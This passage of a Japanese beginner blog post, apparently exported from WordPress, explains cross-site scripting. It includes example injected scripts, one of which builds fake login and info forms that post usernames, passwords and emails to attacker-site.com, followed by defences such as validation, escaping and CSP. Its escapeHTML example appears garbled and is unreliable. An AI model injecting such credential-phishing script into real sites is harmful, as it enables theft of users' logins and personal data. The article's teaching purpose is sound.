document.createElement(&#39;a&#39;);\n    link.href = &#39;https:\/\/attacker-site.com\/malicious-link&#39;;\n    link.textContent = &#39;\u60aa\u610f\u306e\u3042\u308b\u30ea\u30f3\u30af&#39;;\n    content.appendChild(document.createElement(&#39;br&#39;));\n    content.appendChild(link);\n    username.textContent = &#39;\u653b\u6483\u8005\u304c\u6539\u3056\u3093&#39;;\n  }\n&lt;\/script&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u9069\u5207\u306a\u691c\u8a3c\u3084\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u884c\u3063\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306f\u30b3\u30e1\u30f3\u30c8\u4e00\u89a7\u90e8\u5206\u306b\u8868\u793a\u3055\u308c\u308b\u5168\u3066\u306e\u30b3\u30e1\u30f3\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002\u653b\u6483\u8005<span class=\"bold-red\">\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u60c5\u5831\u3092\u76d7\u307f\u53d6\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u30b3\u30e1\u30f3\u30c8\u306e\u5185\u5bb9\u3092\u6539\u3056\u3093\u3057\u305f\u308a\u3001\u60aa\u610f\u306e\u3042\u308b\u30ea\u30f3\u30af\u3092\u8ffd\u52a0\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059<\/span>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u3053\u308c\u3089\u306e\u4f8b\u306f\u975e\u5e38\u306b\u7c21\u7565\u5316\u3055\u308c\u305f\u3082\u306e<\/strong>\u3067\u3042\u308a\u3001\u5b9f\u969b\u306e\u653b\u6483\u306f\u3055\u307e\u3056\u307e\u306a\u65b9\u6cd5\u3067\u884c\u308f\u308c\u307e\u3059\u3002\u91cd\u8981\u306a\u306e\u306f\u3001\u653b\u6483\u8005\u304c\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u306a\u5165\u529b\u30dd\u30a4\u30f3\u30c8\u3092\u7279\u5b9a\u3057\u3001\u305d\u3053\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3059\u308b\u3053\u3068\u3067XSS\u653b\u6483\u3092\u5b9f\u73fe\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3084\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u6539\u3056\u3093\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3068\u3044\u3046\u70b9\u3067\u3059\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u305d\u3057\u3066\u3001\u653b\u6483\u8005\u306f\u3001XSS\u653b\u6483\u3092\u4f7f\u7528\u3057\u3066\u3001<strong>\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306b\u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3084\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3092\u6ce8\u5165\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u3092\u9a19\u3057\u53d6\u308b<\/strong>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u3068\u3057\u3066\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u304c\u3042\u308b\u3068\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"simple.html\" data-lang=\"HTML\"><code>&lt;h1&gt;\u30e6\u30fc\u30b6\u30fc\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb&lt;\/h1&gt;\n&lt;p&gt;\u3088\u3046\u3053\u305d\u3001\u30e6\u30fc\u30b6\u30fcA\u3055\u3093\uff01&lt;\/p&gt;\n\n&lt;p&gt;\u540d\u524d: \u30e6\u30fc\u30b6\u30fcA&lt;\/p&gt;\n&lt;p&gt;\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9: usera@example.com&lt;\/p&gt;\n\n&lt;p&gt;\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u3092\u7de8\u96c6\u3059\u308b:&lt;\/p&gt;\n&lt;form id=&quot;profile-form&quot; action=&quot;\/edit-profile&quot; method=&quot;POST&quot;&gt;\n  &lt;input type=&quot;text&quot; name=&quot;name&quot; placeholder=&quot;\u540d\u524d&quot;&gt;\n  &lt;input type=&quot;email&quot; name=&quot;email&quot; placeholder=&quot;\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9&quot;&gt;\n  &lt;button type=&quot;submit&quot;&gt;\u4fdd\u5b58&lt;\/button&gt;\n&lt;\/form&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u6483\u8005\u306f\u3001\u3053\u306e\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3057\u3001\u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3084\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3092\u8868\u793a\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306b\u653b\u6483\u8005\u304c\u6ce8\u5165\u3059\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306e\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-js\" data-file=\"attacker003.html\" data-lang=\"JavaScript\"><code>&lt;script&gt;\n  \/\/ \u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\n  var loginForm = document.createElement(&#39;form&#39;);\n  loginForm.action = &#39;https:\/\/attacker-site.com\/login&#39;;\n  loginForm.method = &#39;POST&#39;;\n  \n  var usernameInput = document.createElement(&#39;input&#39;);\n  usernameInput.type = &#39;text&#39;;\n  usernameInput.name = &#39;username&#39;;\n  usernameInput.placeholder = &#39;\u30e6\u30fc\u30b6\u30fc\u540d&#39;;\n  loginForm.appendChild(usernameInput);\n\n  var passwordInput = document.createElement(&#39;input&#39;);\n  passwordInput.type = &#39;password&#39;;\n  passwordInput.name = &#39;password&#39;;\n  passwordInput.placeholder = &#39;\u30d1\u30b9\u30ef\u30fc\u30c9&#39;;\n  loginForm.appendChild(passwordInput);\n\n  var submitButton = document.createElement(&#39;button&#39;);\n  submitButton.type = &#39;submit&#39;;\n  submitButton.textContent = &#39;\u30ed\u30b0\u30a4\u30f3&#39;;\n  loginForm.appendChild(submitButton);\n\n  document.body.appendChild(loginForm);\n\n  \/\/ \u507d\u306e\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\n  var infoForm = document.createElement(&#39;form&#39;);\n  infoForm.action = &#39;https:\/\/attacker-site.com\/steal-info&#39;;\n  infoForm.method = &#39;POST&#39;;\n  \n  var nameInput = document.createElement(&#39;input&#39;);\n  nameInput.type = &#39;text&#39;;\n  nameInput.name = &#39;name&#39;;\n  nameInput.placeholder = &#39;\u540d\u524d&#39;;\n  infoForm.appendChild(nameInput);\n\n  var emailInput = document.createElement(&#39;input&#39;);\n  emailInput.type = &#39;email&#39;;\n  emailInput.name = &#39;email&#39;;\n  emailInput.placeholder = &#39;\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9&#39;;\n  infoForm.appendChild(emailInput);\n\n  var submitButton = document.createElement(&#39;button&#39;);\n  submitButton.type = &#39;submit&#39;;\n  submitButton.textContent = &#39;\u9001\u4fe1&#39;;\n  infoForm.appendChild(submitButton);\n\n  document.body.appendChild(infoForm);\n&lt;\/script&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u3053\u306e\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u4e0a\u8a18\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306b\u6ce8\u5165\u3057\u307e\u3059\u3002\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u304c\u9069\u5207\u306a\u691c\u8a3c\u3084\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u884c\u3063\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306f\u5b9f\u884c\u3055\u308c\u3001\u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3068\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u30e6\u30fc\u30b6\u30fc\u306f\u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3084\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u306b\u500b\u4eba\u60c5\u5831\u3092\u5165\u529b\u3057\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u3053\u308c\u3089\u306e\u30d5\u30a9\u30fc\u30e0\u306f\u653b\u6483\u8005\u306e\u30b5\u30a4\u30c8\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3057\u307e\u3046\u305f\u3081\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u304c\u9a19\u3057\u53d6\u3089\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%81%A7%E3%81%AFXSS%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%81%AF%E4%BD%95%E3%81%8B%EF%BC%9F\"><\/span>\u3067\u306fXSS\u306b\u5bfe\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306f\u4f55\u304b\uff1f<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">XSS\u653b\u6483\u304b\u3089Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u9069\u5207\u306a<span class=\"marker-blue\">\u691c\u8a3c<\/span>\u3084<span class=\"marker-blue\">\u30a8\u30b9\u30b1\u30fc\u30d7<\/span>\u3092\u884c\u3046\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u4ee5\u4e0b\u306b\u5177\u4f53\u7684\u306a\u5bfe\u7b56\u65b9\u6cd5\u3092JavaScript\u306e\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u3067\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u306e\u691c\u8a3c: \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u30c7\u30fc\u30bf\u3092\u53d7\u3051\u53d6\u308b\u969b\u306b\u3001\u9069\u5207\u306a\u691c\u8a3c\u3092\u884c\u3046\u3002<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u3048\u3070\u3001<span class=\"marker-under-blue\">\u5165\u529b\u304c\u6587\u5b57\u5217\u3067\u3042\u308b\u304b\u3001\u7279\u5b9a\u306e\u5f62\u5f0f\u306b\u5f93\u3063\u3066\u3044\u308b\u304b\u306a\u3069\u3092\u30c1\u30a7\u30c3\u30af<\/span>\u3057\u307e\u3059\u3002\u6b63\u898f\u8868\u73fe\u3084\u7d44\u307f\u8fbc\u307f\u306e\u691c\u8a3c\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u3001\u5165\u529b\u30c7\u30fc\u30bf\u304c\u4e88\u60f3\u3055\u308c\u308b\u5f62\u5f0f\u306b\u4e00\u81f4\u3059\u308b\u304b\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-js\" data-file=\"secure001.js\" data-lang=\"JavaScript\"><code>\/\/ \u30e6\u30fc\u30b6\u30fc\u540d\u304c\u82f1\u6570\u5b57\u306e\u307f\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u308b\u304b\u691c\u8a3c\u3059\u308b\u4f8b\nfunction validateUsername(username) {\n  var regex = \/^[a-zA-Z0-9]+$\/;\n  return regex.test(username);\n}\n\n\/\/ \u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u5f62\u5f0f\u304c\u6b63\u3057\u3044\u304b\u691c\u8a3c\u3059\u308b\u4f8b\nfunction validateEmail(email) {\n  var regex = \/^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$\/;\n  return regex.test(email);\n}\n\n\/\/ \u5165\u529b\u306e\u691c\u8a3c\u4f8b\nvar userInput = getUserInput(); \/\/ \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u53d6\u5f97\u3059\u308b\nif (validateUsername(userInput)) {\n  \/\/ \u30e6\u30fc\u30b6\u30fc\u540d\u304c\u6b63\u3057\u3044\u5f62\u5f0f\u3067\u3042\u308b\u5834\u5408\u306e\u51e6\u7406\n} else {\n  \/\/ \u30e6\u30fc\u30b6\u30fc\u540d\u304c\u6b63\u3057\u3044\u5f62\u5f0f\u3067\u306a\u3044\u5834\u5408\u306e\u30a8\u30e9\u30fc\u51e6\u7406\n}<\/code><\/pre><\/div>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li><strong>\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u306e\u9069\u7528<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u51fa\u529b\u3059\u308b\u969b\u306b\u306f\u3001<span class=\"marker-under-blue\">\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406<\/span>\u3092\u884c\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u304cHTML\u30b3\u30fc\u30c9\u3068\u3057\u3066\u89e3\u91c8\u3055\u308c\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u305d\u306e\u307e\u307e\u8868\u793a\u3055\u308c\u307e\u3059\u3002<code>innerText<\/code>\u3084<code>textContent<\/code>\u306a\u3069\u306e\u9069\u5207\u306a\u30e1\u30bd\u30c3\u30c9\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u51fa\u529b\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-js\" data-file=\"secure002.js\" data-lang=\"JavaScript\"><code>\/\/ \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u3066\u8868\u793a\u3059\u308b\u4f8b\nfunction escapeHTML(input) {\n  var map = {\n    &#39;&&#39;: &#39;&&#39;,\n    &#39;&lt;&#39;: &#39;&lt;&#39;,\n    &#39;&gt;&#39;: &#39;&gt;&#39;,\n    &#39;&quot;&#39;: &#39;&quot;&#39;,\n    &quot;&#39;&quot;: &#39;&#39;&#39;\n  };\n  return input.replace(\/[&&lt;&gt;&quot;&#39;]\/g, function (m) { return map[m]; });\n}\n\n\/\/ \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u3066\u8868\u793a\u3059\u308b\u4f8b\nvar userInput = getUserInput(); \/\/ \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u53d6\u5f97\u3059\u308b\nvar escapedInput = escapeHTML(userInput); \/\/ \u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u30a8\u30b9\u30b1\u30fc\u30d7\u3059\u308b\noutputElement.innerHTML = escapedInput; \/\/ \u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u305f\u5165\u529b\u3092\u8868\u793a\u3059\u308b<\/code><\/pre><\/div>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li><strong>\u30b3\u30f3\u30c6\u30f3\u30c4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u306e\u8a2d\u5b9a<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"marker-under-blue\">\u30b3\u30f3\u30c6\u30f3\u30c4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc (Content Security Policy, CSP) \u3092\u4f7f\u7528<\/span>\u3059\u308b\u3068\u3001\u7279\u5b9a\u306e\u30bd\u30fc\u30b9\u304b\u3089\u306e\u307f\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u5b9f\u884c\u3092\u8a31\u53ef\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001XSS\u653b\u6483\u306b\u3088\u308b\u5916\u90e8\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u5b9f\u884c\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"secure-003.html\" data-lang=\"HTML\"><code>&lt;!-- \u30b3\u30f3\u30c6\u30f3\u30c4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u3092\u8a2d\u5b9a\u3059\u308b\u4f8b --&gt;\n&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;script-src &#39;self&#39;&quot;&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u3042\u304f\u307e\u3067\u3001\u4e0a\u8a18\u306e\u5bfe\u7b56\u306f\u3001XSS\u653b\u6483\u304b\u3089Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u306e\u57fa\u672c\u7684\u306a\u624b\u6cd5\u3067\u3059\u3002\u3082\u3046\u5c11\u3057\u8a73\u3057\u304f\u7a81\u304d\u8a70\u3081\u3066\u884c\u304f\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u4eca\u56de\u306f\u3053\u308c\u3067\u3006\u3066\u304a\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E3%81%BE%E3%81%A8%E3%82%81\"><\/span>\u307e\u3068\u3081<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\uff11\uff0e<strong>\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u306e\u691c\u8a3c<\/strong>\u306f\u6b20\u304b\u3055\u306a\u3044\u3053\u3068<br>\uff12\uff0e<strong>\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u306f\u9069\u7528<\/strong>\u5fc5\u305a\u9069\u7528\u3059\u308b\u3053\u3068<br>\uff13\uff0e<strong>\u30b3\u30f3\u30c6\u30f3\u30c4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u306e\u8a2d\u5b9a<\/strong>\u3092HTML\u306e&lt;head&gt;\u5185\u306b\u660e\u8a18\u3057\u3066\u304a\u304f\u3053\u3068\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u3053\u308c\u3089\u304cXSS\u5bfe\u7b56\u3068\u3057\u3066\u5fc5\u8981\u6700\u4f4e\u9650\u884c\u3063\u3066\u304a\u304f\u3079\u304d\u4e8b\u9805\u3067\u3059\u3002XSS\u306f\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u53d7\u9001\u4fe1\u306e\u969b\u306b\u66f4\u306b\u5371\u967a\u5ea6\u304c\u5897\u3057\u307e\u3059\u306e\u3067\u3001\u30b5\u30fc\u30d0\u30fc\u3068\u9023\u643a\u3057\u3066\u3044\u306a\u3044\u5834\u5408\u306f\u3001\u3053\u306e3\u3064\u306e\u5bfe\u7b56\u3092\u5fc5\u305a\u304a\u3053\u306a\u3046\u7656\u3092\u3064\u3051\u3066\u304a\u304f\u3053\u3068\u304c\u671b\u307e\u3057\u3044\u3067\u3057\u3087\u3046\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u4fdd\u8b77\u3068\u4fe1\u983c\u6027\u306e\u78ba\u4fdd\u306b\u3068\u3063\u3066\u4e0d\u53ef\u6b20\u3067\u3059\u306d\u3002\u7279\u306b\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08\u4ee5\u4e0b\u3001XSS\uff09\u653b\u6483\u306f\u3001JavaScript\u3092\u4f7f\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":5957,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_themeisle_gutenberg_block_has_review":false,"sitemap_hide":"","_veu_custom_css":"","veu_display_promotion_alert":"","vkexunit_cta_each_option":"","footnotes":""},"categories":[55],"tags":[8,113,83],"class_list":["post-5908","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-javascript","tag-javascript","tag-113","tag-83"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u521d\u5fc3\u8005\u3082\u62bc\u3055\u3048\u3066\u304a\u304f\u3079\u304dWeb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 vol.1\u3000JavaScript\u300e\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u300f \u52b9\u679c\u7684\u306a\u5bfe\u7b56\u65b9\u6cd5\u3068\u6700\u9069\u306a\u65b9\u6cd5 | QooTechWEB-\u958b\u767a\u30ed\u30b0\u30fb\u5b9f\u52d9\u8a18\u9332\u30d6\u30ed\u30b0<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u521d\u5fc3\u8005\u3082\u62bc\u3055\u3048\u3066\u304a\u304f\u3079\u304dWeb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 vol.1\u3000JavaScript\u300e\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u300f \u52b9\u679c\u7684\u306a\u5bfe\u7b56\u65b9\u6cd5\u3068\u6700\u9069\u306a\u65b9\u6cd5 | QooTechWEB-\u958b\u767a\u30ed\u30b0\u30fb\u5b9f\u52d9\u8a18\u9332\u30d6\u30ed\u30b0\" \/>\n<meta property=\"og:description\" content=\"Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u4fdd\u8b77\u3068\u4fe1\u983c\u6027\u306e\u78ba\u4fdd\u306b\u3068\u3063\u3066\u4e0d\u53ef\u6b20\u3067\u3059\u306d\u3002\u7279\u306b\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08\u4ee5\u4e0b\u3001XSS\uff09\u653b\u6483\u306f\u3001JavaScript\u3092\u4f7f\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/\" \/>\n<meta property=\"og:site_name\" content=\"QooTechWEB-\u958b\u767a\u30ed\u30b0\u30fb\u5b9f\u52d9\u8a18\u9332\u30d6\u30ed\u30b0\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/kenichi.yoshimura.735\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/kenichi.yoshimura.735\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-18T17:34:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-05-19T16:11:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/engineering.webstudio168.jp\/blog\/wp-content\/uploads\/2023\/05\/pexels-sora-shimazaki-5926386.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"2110\" \/>\n\t<meta property=\"og:image:height\" content=\"1407\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"\u559c\u591a\u5ddd\u8ce2\u4e00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u57f7\u7b46\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u559c\u591a\u5ddd\u8ce2\u4e00\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u63a8\u5b9a\u8aad\u307f\u53d6\u308a\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"4\u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/engineering.webstudio168.jp\\\/blog\\\/javascript-security-xss\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/engineering.webstudio168.jp\\\/blog\\\/javascript-security-xss\\\/\"},\"author\":{\"name\":\"\u559c\u591a\u5ddd\u8ce2\u4e00\",\"@id\":\"https:\\\/\\\/engineering.webstudio168.jp\\\/blog\\\/#\\\/schema\\\/person\\\/6d312dfa5e9a00aa7a3575e6dec37ddb\"},\"headline\":\"\u521d\u5fc3\u8005\u3082\u62bc\u3055\u3048\u3066\u304a\u304f\u3079\u304dWeb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 vol.1\u3000JavaScript\u300e\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u300f 